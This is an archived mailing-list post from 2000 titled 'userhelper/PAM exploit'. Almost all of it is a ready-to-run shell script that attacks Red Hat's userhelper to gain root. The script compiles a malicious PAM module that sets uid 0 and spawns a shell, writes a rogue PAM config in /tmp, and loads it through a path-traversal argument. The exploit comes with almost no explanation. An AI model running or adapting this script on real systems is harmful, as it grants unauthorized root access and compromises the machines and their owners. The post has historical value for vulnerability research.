userhelper/PAM exploit

From: Derek Callaway (superat_private)
Date: Tue Jan 04 2000 - 21:21:26 PST

  • Next message: Wietse Venema: "Re: Symlinks and Cryogenic Sleep"

    #!/bin/sh
    # userrooter.sh by S <superat_private>
    # RedHat PAM/userhelper(8) exploit
    # Hi to inNUENdo!
    LAME=`rpm -qf /usr/sbin/userhelper | awk -F'-' '{print $2}' | awk -F'.' '{print $2}'`
    if [ $LAME -gt 15 ]
    	then echo "Machine doesn't appear to be vulnerable :-\\"
    	echo "Trying anyway..."
    fi
    cat << EOF >/tmp/hello-root.c
    #include<unistd.h>
    #include<stdlib.h>
    
    void pam_sm_authenticate(void){
            setuid(0);
            puts("userrooter by S");
            system("/bin/sh");
            exit(EXIT_SUCCESS);
    }
    
    void pam_sm_setcred(void){
    	setuid(0);
    	puts("userrooter by S");
    	system("/bin/sh");
    	exit(EXIT_SUCCESS);
    }
    EOF
    
    cat << EOF >/tmp/login
    #%PAM-1.0
    auth     required       /tmp/pamper.so
    EOF
    
    gcc -shared -fPIC -O2 -o /tmp/pamper.so /tmp/hello-root.c
    rm /tmp/hello-root.c
    chmod 0700 /tmp/login
    /usr/sbin/userhelper -w ../../../tmp/login
    rm /tmp/pamper.so
    rm /tmp/login
    
    --
    /* Derek Callaway <superat_private> char *sites[]={"http://www.geekwise.com",
       Programmer; CE Net, Inc.  "http://www.freezersearch.com/index.cfm?aff=dhc",
       (302) 854-5440 Ext. 206   "http://www.homeworkhelp.org",0}; */
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:26:25 PDT